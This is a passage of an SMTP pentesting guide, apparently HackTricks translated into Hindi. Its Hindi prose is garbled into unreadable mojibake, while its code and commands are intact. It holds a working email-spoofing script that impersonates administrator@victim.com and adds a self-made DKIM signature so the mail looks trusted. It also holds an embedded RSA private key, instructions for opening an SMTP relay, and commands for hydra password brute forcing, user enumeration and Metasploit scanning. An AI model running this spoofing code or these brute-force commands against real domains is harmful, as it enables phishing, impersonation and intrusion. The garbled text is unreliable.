рдПрдХ рд╡рд░реНрдХрдЕрд░рд╛рдЙрдВрдб рдЬреЛ рдХреБрдЫ рд╡реНрдпрд╡рд╕реНрдерд╛рдкрдХ рдИрдореЗрд▓ рд╡рд┐рддрд░рдг рд╕рдорд╕реНрдпрд╛рдУрдВ рд╕реЗ рдмрдЪрдиреЗ рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧ рдХрд░рддреЗ рд╣реИрдВ, рд╡рд┐рд╢реЗрд╖ рд░реВрдк рд╕реЗ рд╕рдВрднрд╛рд╡рд┐рдд рдпрд╛ рдЪрд▓ рд░рд╣реЗ рдЧреНрд░рд╛рд╣рдХреЛрдВ рдХреЗ рд╕рд╛рде рд╕рдВрдЪрд╛рд░ рдХреЗ рд╕рдВрдмрдВрдз рдореЗрдВ, рд╡рд╣ рд╣реИ рдХрд┐рд╕реА рднреА IP рдкрддреЗ рд╕реЗ рдХрдиреЗрдХреНрд╢рди рдХреА рдЕрдиреБрдорддрд┐ рджреЗрдирд╛ред рдпрд╣ SMTP рд╕рд░реНрд╡рд░ рдХреЗ mynetworks рдкреИрд░рд╛рдореАрдЯрд░ рдХреЛ рд╕рднреА IP рдкрддреЗ рд╕реНрд╡реАрдХрд╛рд░ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХреЙрдиреНрдлрд╝рд┐рдЧрд░ рдХрд░рдХреЗ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рдЬреИрд╕рд╛ рдХрд┐ рдиреАрдЪреЗ рджрд┐рдЦрд╛рдпрд╛ рдЧрдпрд╛ рд╣реИ:

mynetworks = 0.0.0.0/0

рдИрдореЗрд▓ рд╕рд░реНрд╡рд░ рдпрд╣ рдЬрд╛рдВрдЪрдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐ рдХреНрдпрд╛ рдпрд╣ рдПрдХ рдУрдкрди рд░рд┐рд▓реЗрдЬ рд╣реИ (рдЬрд┐рд╕рдХрд╛ рдорддрд▓рдм рд╣реИ рдХрд┐ рдпрд╣ рдХрд┐рд╕реА рднреА рдмрд╛рд╣рд░реА рд╕реНрд░реЛрдд рд╕реЗ рдИрдореЗрд▓ рдХреЛ рдЕрдЧреНрд░реЗрд╖рд┐рдд рдХрд░ рд╕рдХрддрд╛ рд╣реИ), nmap рдЯреВрд▓ рдХрд╛ рд╕рд╛рдорд╛рдиреНрдпрдд: рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред рдЗрд╕рдореЗрдВ рдЗрд╕реЗ рдкрд░реАрдХреНрд╖рдг рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХ рд╡рд┐рд╢рд┐рд╖реНрдЯ рд╕реНрдХреНрд░рд┐рдкреНрдЯ рд╢рд╛рдорд┐рд▓ рд╣реИред рдПрдХ рд╕рд░реНрд╡рд░ рдкрд░ рд╡рд░реНрдмреЛрдЬрд╝ рд╕реНрдХреИрди рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП (рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, IP 10.10.10.10 рдХреЗ рд╕рд╛рде) рдкреЛрд░реНрдЯ 25 рдкрд░ nmap рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреЗ рд╣реБрдП рдХрдорд╛рдВрдб рд╣реИ:

nmap -p25 --script smtp-open-relay 10.10.10.10 -v

Tools

  • https://github.com/serain/mailspoof SPF рдФрд░ DMARC рдЧрд▓рдд рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди рдХреА рдЬрд╛рдВрдЪ рдХрд░реЗрдВ
  • https://pypi.org/project/checkdmarc/ рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рд░реВрдк рд╕реЗ SPF рдФрд░ DMARC рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди рдкреНрд░рд╛рдкреНрдд рдХрд░реЗрдВ

Send Spoof Email

рдпрд╛ рдЖрдк рдПрдХ рдЙрдкрдХрд░рдг рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ:

# This will send a test email from test@victim.com to destination@gmail.com
python3 magicspoofmail.py -d victim.com -t -e destination@gmail.com
# But you can also modify more options of the email
python3 magicspoofmail.py -d victim.com -t -e destination@gmail.com --subject TEST --sender administrator@victim.com

{% hint style="warning" %} рдпрджрд┐ рдЖрдкрдХреЛ dkim python lib рдореЗрдВ рдХреБрдВрдЬреА рдХреЛ рдкрд╛рд░реНрд╕ рдХрд░рддреЗ рд╕рдордп рдХреЛрдИ рддреНрд░реБрдЯрд┐ рдорд┐рд▓рддреА рд╣реИ, рддреЛ рдЗрд╕ рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдореЗрдВ рд╕рдВрдХреЛрдЪ рди рдХрд░реЗрдВред
рдиреЛрдЯ: рдпрд╣ рдХреЗрд╡рд▓ рдПрдХ рдЧрдВрджрд╛ рдлрд┐рдХреНрд╕ рд╣реИ рддрд╛рдХрд┐ рдЙрди рдорд╛рдорд▓реЛрдВ рдореЗрдВ рддреНрд╡рд░рд┐рдд рдЬрд╛рдВрдЪ рдХреА рдЬрд╛ рд╕рдХреЗ рдЬрд╣рд╛рдБ рдХрд┐рд╕реА рдХрд╛рд░рдгрд╡рд╢ openssl рдирд┐рдЬреА рдХреБрдВрдЬреА dkim рджреНрд╡рд╛рд░рд╛ рдкрд╛рд░реНрд╕ рдирд╣реАрдВ рдХреА рдЬрд╛ рд╕рдХрддреАред

-----BEGIN RSA PRIVATE KEY-----
MIICXgIBAAKBgQDdkohAIWT6mXiHpfAHF8bv2vHTDboN2dl5pZKG5ZSHCYC5Z1bt
spr6chlrPUX71hfSkk8WxnJ1iC9Moa9sRzdjBrxPMjRDgP8p8AFdpugP5rJJXExO
pkZcdNPvCXGYNYD86Gpous6ubn6KhUWwDD1bw2UFu53nW/AK/EE4/jeraQIDAQAB
AoGAe31lrsht7TWH9aJISsu3torCaKyn23xlNuVO6xwdUb28Hpk327bFpXveKuS1
koxaLqQYrEriFBtYsU8T5Dc06FQAVLpUBOn+9PcKlxPBCLvUF+/KbfHF0q1QbeZR
fgr+E+fPxwVPxxk3i1AwCP4Cp1+bz2s58wZXlDBkWZ2YJwECQQD/f4bO2lnJz9Mq
1xsL3PqHlzIKh+W+yiGmQAELbgOdX4uCxMxjs5lwGSACMH2nUwXx+05RB8EM2m+j
ZBTeqxDxAkEA3gHyUtVenuTGClgYpiwefaTbGfYadh0z2KmiVcRqWzz3hDUEWxhc
GNtFT8wzLcmRHB4SQYUaS0Df9mpvwvdB+QJBALGv9Qci39L0j/15P7wOYMWvpwOf
422+kYxXcuKKDkWCTzoQt7yXCRzmvFYJdznJCZdymNLNu7q+p2lQjxsUiWECQQCI
Ms2FP91ywYs1oWJN39c84byBKtiFCdla3Ib48y0EmFyJQTVQ5ZrqrOrSz8W+G2Do
zRIKHCxLapt7w0SZabORAkEAxvm5pd2MNVqrqMJHbukHY1yBqwm5zVIYr75eiIDP
K9B7U1w0CJFUk6+4Qutr2ROqKtNOff9KuNRLAOiAzH3ZbQ==
-----END RSA PRIVATE KEY-----

{% endhint %}

рдпрд╛ рдЖрдк рдЗрд╕реЗ рдореИрдиреНрдпреБрдЕрд▓ рд░реВрдк рд╕реЗ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ:

{% tabs %} {% tab title="PHP" %}

# рдпрд╣ рдПрдХ рдмрд┐рдирд╛ рд╣рд╕реНрддрд╛рдХреНрд╖рд░ рд╡рд╛рд▓рд╛ рд╕рдВрджреЗрд╢ рднреЗрдЬреЗрдЧрд╛
mail("your_email@gmail.com", "Test Subject!", "hey! This is a test", "From: administrator@victim.com");

{% endtab %}

{% tab title="Python" %}

# Code from https://github.com/magichk/magicspoofing/blob/main/magicspoofmail.py

import os
import dkim #pip3 install dkimpy
import smtplib
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
from email.mime.base import MIMEBase

# Set params
destination="destination@gmail.com"
sender="administrator@victim.com"
subject="Test"
message_html="""
<html>
<body>
<h3>This is a test, not a scam</h3>
<br />
</body>
</html>
"""
sender_domain=sender.split("@")[1]

# Prepare postfix
os.system("sudo sed -ri 's/(myhostname) = (.*)/\\1 = "+sender_domain+"/g' /etc/postfix/main.cf")
os.system("systemctl restart postfix")

# Generate DKIM keys
dkim_private_key_path="dkimprivatekey.pem"
os.system(f"openssl genrsa -out {dkim_private_key_path} 1024 2> /dev/null")
with open(dkim_private_key_path) as fh:
dkim_private_key = fh.read()

# Generate email
msg = MIMEMultipart("alternative")
msg.attach(MIMEText(message_html, "html"))
msg["To"] = destination
msg["From"] = sender
msg["Subject"] = subject
headers = [b"To", b"From", b"Subject"]
msg_data = msg.as_bytes()

# Sign email with dkim
## The receiver won't be able to check it, but the email will appear as signed (and therefore, more trusted)
dkim_selector="s1"
sig = dkim.sign(message=msg_data,selector=str(dkim_selector).encode(),domain=sender_domain.encode(),privkey=dkim_private_key.encode(),include_headers=headers)
msg["DKIM-Signature"] = sig[len("DKIM-Signature: ") :].decode()
msg_data = msg.as_bytes()

# Use local postfix relay to send email
smtp="127.0.0.1"
s = smtplib.SMTP(smtp)
s.sendmail(sender, [destination], msg_data)

{% endtab %} {% endtabs %}

рдЕрдзрд┐рдХ рдЬрд╛рдирдХрд╛рд░реА

рдЗрди рд╕реБрд░рдХреНрд╖рд╛ рдЙрдкрд╛рдпреЛрдВ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдЕрдзрд┐рдХ рдЬрд╛рдирдХрд╛рд░реА рдХреЗ рд▓рд┐рдП https://seanthegeek.net/459/demystifying-dmarc/

рдЕрдиреНрдп рдлрд╝рд┐рд╢рд┐рдВрдЧ рд╕рдВрдХреЗрддрдХ

  • рдбреЛрдореЗрди рдХреА рдЖрдпреБ
  • рдЖрдИрдкреА рдкрддреЗ рдХреА рдУрд░ рдЗрд╢рд╛рд░рд╛ рдХрд░рдиреЗ рд╡рд╛рд▓реЗ рд▓рд┐рдВрдХ
  • рд▓рд┐рдВрдХ рд╣реЗрд░рдлреЗрд░ рддрдХрдиреАрдХреЗрдВ
  • рд╕рдВрджрд┐рдЧреНрдз (рдЕрд╕рд╛рдорд╛рдиреНрдп) рдЕрдЯреИрдЪрдореЗрдВрдЯ
  • рдЯреВрдЯреА рд╣реБрдИ рдИрдореЗрд▓ рд╕рд╛рдордЧреНрд░реА
  • рдЙрдкрдпреЛрдЧ рдХрд┐рдП рдЧрдП рдорд╛рди рдЬреЛ рдореЗрд▓ рд╣реЗрдбрд░ рд╕реЗ рднрд┐рдиреНрди рд╣реИрдВ
  • рдПрдХ рдорд╛рдиреНрдп рдФрд░ рд╡рд┐рд╢реНрд╡рд╕рдиреАрдп SSL рдкреНрд░рдорд╛рдгрдкрддреНрд░ рдХрд╛ рдЕрд╕реНрддрд┐рддреНрд╡
  • рд╡реЗрдм рд╕рд╛рдордЧреНрд░реА рдлрд╝рд┐рд▓реНрдЯрд░рд┐рдВрдЧ рд╕рд╛рдЗрдЯреЛрдВ рдкрд░ рдкреГрд╖реНрда рдХрд╛ рд╕рдмрдорд┐рд╢рди

SMTP рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдПрдХреНрд╕рдлрд┐рд▓реНрдЯреНрд░реЗрд╢рди

рдпрджрд┐ рдЖрдк SMTP рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдбреЗрдЯрд╛ рднреЗрдЬ рд╕рдХрддреЗ рд╣реИрдВ рдпрд╣ рдкрдврд╝реЗрдВред

рдХреЙрдиреНрдлрд╝рд┐рдЧ рдлрд╝рд╛рдЗрд▓

рдкреЛрд╕реНрдЯрдлрд┐рдХреНрд╕

рдЖрдорддреМрд░ рдкрд░, рдпрджрд┐ рд╕реНрдерд╛рдкрд┐рдд рд╣реИ, рддреЛ /etc/postfix/master.cf рдореЗрдВ рд╕реНрдХреНрд░рд┐рдкреНрдЯ рд╣реЛрддреА рд╣реИрдВ рдЬреЛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рд╣реЛрддреА рд╣реИрдВ рдЬрдм рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП рдПрдХ рдирдпрд╛ рдореЗрд▓ рдХрд┐рд╕реА рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рджреНрд╡рд╛рд░рд╛ рдкреНрд░рд╛рдкреНрдд рд╣реЛрддрд╛ рд╣реИред рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рдкрдВрдХреНрддрд┐ flags=Rq user=mark argv=/etc/postfix/filtering-f ${sender} -- ${recipient} рдХрд╛ рдЕрд░реНрде рд╣реИ рдХрд┐ /etc/postfix/filtering рдХреЛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛ рдпрджрд┐ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдорд╛рд░реНрдХ рджреНрд╡рд╛рд░рд╛ рдПрдХ рдирдпрд╛ рдореЗрд▓ рдкреНрд░рд╛рдкреНрдд рд╣реЛрддрд╛ рд╣реИред

рдЕрдиреНрдп рдХреЙрдиреНрдлрд╝рд┐рдЧ рдлрд╝рд╛рдЗрд▓реЗрдВ:

sendmail.cf
submit.cf

рд╕рдВрджрд░реНрдн

HackTricks рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рдЖрджреЗрд╢

Protocol_Name: SMTP    #Protocol Abbreviation if there is one.
Port_Number:  25,465,587     #Comma separated if there is more than one.
Protocol_Description: Simple Mail Transfer Protocol          #Protocol Abbreviation Spelled out

Entry_1:
Name: Notes
Description: Notes for SMTP
Note: |
SMTP (Simple Mail Transfer Protocol) is a TCP/IP protocol used in sending and receiving e-mail. However, since it is limited in its ability to queue messages at the receiving end, it is usually used with one of two other protocols, POP3 or IMAP, that let the user save messages in a server mailbox and download them periodically from the server.

https://book.hacktricks.xyz/pentesting/pentesting-smtp

Entry_2:
Name: Banner Grab
Description: Grab SMTP Banner
Command: nc -vn {IP} 25

Entry_3:
Name: SMTP Vuln Scan
Description: SMTP Vuln Scan With Nmap
Command: nmap --script=smtp-commands,smtp-enum-users,smtp-vuln-cve2010-4344,smtp-vuln-cve2011-1720,smtp-vuln-cve2011-1764 -p 25 {IP}

Entry_4:
Name: SMTP User Enum
Description: Enumerate uses with smtp-user-enum
Command: smtp-user-enum -M VRFY -U {Big_Userlist} -t {IP}

Entry_5:
Name: SMTPS Connect
Description: Attempt to connect to SMTPS two different ways
Command: openssl s_client -crlf -connect {IP}:465 &&&& openssl s_client -starttls smtp -crlf -connect {IP}:587

Entry_6:
Name: Find MX Servers
Description: Find MX servers of an organization
Command: dig +short mx {Domain_Name}

Entry_7:
Name: Hydra Brute Force
Description: Need Nothing
Command: hydra -P {Big_Passwordlist} {IP} smtp -V

Entry_8:
Name: consolesless mfs enumeration
Description: SMTP enumeration without the need to run msfconsole
Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_version; set RHOSTS {IP}; set RPORT 25; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_ntlm_domain; set RHOSTS {IP}; set RPORT 25; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_relay; set RHOSTS {IP}; set RPORT 25; run; exit'

рдЕрдкрдиреЗ рд╡реЗрдм рдРрдкреНрд╕, рдиреЗрдЯрд╡рд░реНрдХ рдФрд░ рдХреНрд▓рд╛рдЙрдб рдкрд░ рдПрдХ рд╣реИрдХрд░ рдХрд╛ рджреГрд╖реНрдЯрд┐рдХреЛрдг рдкреНрд░рд╛рдкреНрдд рдХрд░реЗрдВ

рдорд╣рддреНрд╡рдкреВрд░реНрдг, рд╢реЛрд╖рдг рдпреЛрдЧреНрдп рдХрдордЬреЛрд░рд┐рдпреЛрдВ рдХреЛ рдЦреЛрдЬреЗрдВ рдФрд░ рд░рд┐рдкреЛрд░реНрдЯ рдХрд░реЗрдВ рдЬрд┐рдирдХрд╛ рд╡рд╛рд╕реНрддрд╡рд┐рдХ рд╡реНрдпрд╛рд╡рд╕рд╛рдпрд┐рдХ рдкреНрд░рднрд╛рд╡ рд╣реИред рд╣рдорд╛рд░реЗ 20+ рдХрд╕реНрдЯрдо рдЯреВрд▓ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рд╣рдорд▓реЗ рдХреА рд╕рддрд╣ рдХрд╛ рдорд╛рдирдЪрд┐рддреНрд░рдг рдХрд░реЗрдВ, рд╕реБрд░рдХреНрд╖рд╛ рдореБрджреНрджреЛрдВ рдХреЛ рдЦреЛрдЬреЗрдВ рдЬреЛ рдЖрдкрдХреЛ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рдмрдврд╝рд╛рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддреЗ рд╣реИрдВ, рдФрд░ рдЖрд╡рд╢реНрдпрдХ рд╕рдмреВрдд рдЗрдХрдЯреНрдард╛ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рд╢реЛрд╖рдг рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВ, рдЬрд┐рд╕рд╕реЗ рдЖрдкрдХрд╛ рдХрдард┐рди рдХрд╛рдо рдкреНрд░рднрд╛рд╡рд╢рд╛рд▓реА рд░рд┐рдкреЛрд░реНрдЯреЛрдВ рдореЗрдВ рдмрджрд▓ рдЬрд╛рдПред

{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}

{% hint style="success" %} AWS рд╣реИрдХрд┐рдВрдЧ рд╕реАрдЦреЗрдВ рдФрд░ рдЕрднреНрдпрд╛рд╕ рдХрд░реЗрдВ:HackTricks Training AWS Red Team Expert (ARTE)
GCP рд╣реИрдХрд┐рдВрдЧ рд╕реАрдЦреЗрдВ рдФрд░ рдЕрднреНрдпрд╛рд╕ рдХрд░реЗрдВ: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks рдХрд╛ рд╕рдорд░реНрдерди рдХрд░реЗрдВ
{% endhint %}